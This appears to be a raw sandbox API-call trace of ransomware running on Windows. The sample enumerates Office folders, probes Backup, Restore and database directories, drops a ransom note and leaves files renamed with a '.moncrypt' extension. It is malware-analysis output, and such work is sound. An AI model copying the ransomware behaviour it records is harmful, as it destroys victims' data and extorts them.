ftLastAccessTime.dwLowDateTime=0x3e5ad080, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e5ad080, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.798] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.798] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.798] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.798] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.798] GlobalUnlock (hMem=0x440004) returned 0 [0048.798] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.798] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.798] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.799] GlobalUnlock (hMem=0x440004) returned 0 [0048.799] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.799] GlobalUnlock (hMem=0x44000c) returned 0 [0048.799] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.799] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3e5ad080, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e5ad080, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.799] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.799] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.799] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.799] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.799] GlobalUnlock (hMem=0x44000c) returned 0 [0048.799] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.800] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.800] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.800] GlobalUnlock (hMem=0x44000c) returned 0 [0048.800] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.800] GlobalUnlock (hMem=0x440004) returned 0 [0048.800] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.800] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e586f20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3e586f20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3e5ad080, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.800] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.800] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.800] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.800] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.800] GlobalUnlock (hMem=0x440004) returned 0 [0048.800] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.800] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.800] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.800] GlobalUnlock (hMem=0x440004) returned 0 [0048.800] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.800] GlobalUnlock (hMem=0x44000c) returned 0 [0048.800] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.800] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x4299, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML.moncrypt", cAlternateFileName="PROPLU~1.MON")) returned 1 [0048.800] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.800] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.800] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.800] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.800] GlobalUnlock (hMem=0x44000c) returned 0 [0048.800] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.800] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.800] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.801] GlobalUnlock (hMem=0x44000c) returned 0 [0048.801] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.801] GlobalUnlock (hMem=0x440004) returned 0 [0048.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.801] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.801] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.801] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.801] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.801] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.801] GlobalUnlock (hMem=0x440004) returned 0 [0048.801] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.801] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.801] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.801] GlobalUnlock (hMem=0x440004) returned 0 [0048.801] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.801] GlobalUnlock (hMem=0x44000c) returned 0 [0048.801] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.801] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.801] GetLastError () returned 0x12 [0048.801] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.801] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.801] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.802] GlobalUnlock (hMem=0x44000c) returned 0 [0048.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.802] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.802] GlobalUnlock (hMem=0x44000c) returned 0 [0048.802] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.802] GlobalUnlock (hMem=0x440004) returned 0 [0048.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.802] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.802] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.802] GlobalUnlock (hMem=0x440004) returned 0 [0048.802] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.802] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.802] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.802] GlobalUnlock (hMem=0x440004) returned 0 [0048.802] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.802] GlobalUnlock (hMem=0x44000c) returned 0 [0048.802] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.802] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us", len=0x5f | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us") returned 1 [0048.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.802] GlobalUnlock (hMem=0x44000c) returned 0 [0048.802] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.802] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.802] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.802] GlobalUnlock (hMem=0x44000c) returned 0 [0048.802] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.803] GlobalUnlock (hMem=0x440004) returned 0 [0048.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⌈R⋜R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0048.803] GetLastError () returned 0x3 [0048.803] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@∜R企@\x18䀴Q\x181")) returned 0xffffffff [0048.803] GetLastError () returned 0x2 [0048.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@坜U企@\x18?T\x18;")) returned 0xffffffff [0048.804] GetLastError () returned 0x2 [0048.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@翌R企@\x18?T\x18D")) returned 0xffffffff [0048.804] GetLastError () returned 0x2 [0048.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@∜R企@\x18坜U\x18j")) returned 0xffffffff [0048.804] GetLastError () returned 0x2 [0048.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@啬U企@\x18?T\x18q")) returned 0xffffffff [0048.804] GetLastError () returned 0x2 [0048.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@劔U企@\x18?T\x18y")) returned 0xffffffff [0048.804] GetLastError () returned 0x2 [0048.804] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@∜R企@\x18?T\x18\x81")) returned 0xffffffff [0048.805] GetLastError () returned 0x2 [0048.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@翌R企@\x18?T\x18\x88")) returned 0xffffffff [0048.805] GetLastError () returned 0x2 [0048.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@劔U企@\x18?T\x18\x8f")) returned 0xffffffff [0048.805] GetLastError () returned 0x2 [0048.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69b68, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@∜R企@\x18?T\x18\x97")) returned 0xffffffff [0048.805] GetLastError () returned 0x2 [0048.805] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.805] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.805] GlobalUnlock (hMem=0x440004) returned 0 [0048.805] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.805] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.805] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.805] GlobalUnlock (hMem=0x440004) returned 0 [0048.805] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.805] GlobalUnlock (hMem=0x44000c) returned 0 [0048.805] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.805] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.805] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.806] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.806] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69c30, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.806] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.806] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.806] GlobalUnlock (hMem=0x44000c) returned 0 [0048.806] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.806] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.806] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.806] GlobalUnlock (hMem=0x44000c) returned 0 [0048.806] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.806] GlobalUnlock (hMem=0x440004) returned 0 [0048.806] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.806] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.806] GlobalUnlock (hMem=0x440004) returned 0 [0048.806] GlobalLock (hMem=0x440004) returned 0x555b78 [0048.806] GlobalLock (hMem=0x44000c) returned 0x557b88 [0048.806] GlobalHandle (pMem=0x555b78) returned 0x440004 [0048.806] GlobalUnlock (hMem=0x440004) returned 0 [0048.806] GlobalHandle (pMem=0x557b88) returned 0x44000c [0048.806] GlobalUnlock (hMem=0x44000c) returned 0 [0048.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.806] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.806] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0048.806] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.806] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.807] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.807] GlobalUnlock (hMem=0x44000c) returned 0 [0048.807] GlobalLock (hMem=0x44000c) returned 0x555b78 [0048.807] GlobalLock (hMem=0x440004) returned 0x557b88 [0048.807] GlobalHandle (pMem=0x555b78) returned 0x44000c [0048.807] GlobalUnlock (hMem=0x44000c) returned 0 [0048.807] GlobalHandle (pMem=0x557b88) returned 0x440004 [0048.807] GlobalUnlock (hMem=0x440004) returned 0 [0048.807] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.807] WriteFile (in: hFile=0x190, lpBuffer=0x1e61da8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61da8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.808] CloseHandle (hObject=0x190) returned 1 [0048.808] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\я")) returned 1 [0048.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 0x54e280 [0048.809] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.809] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.809] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) 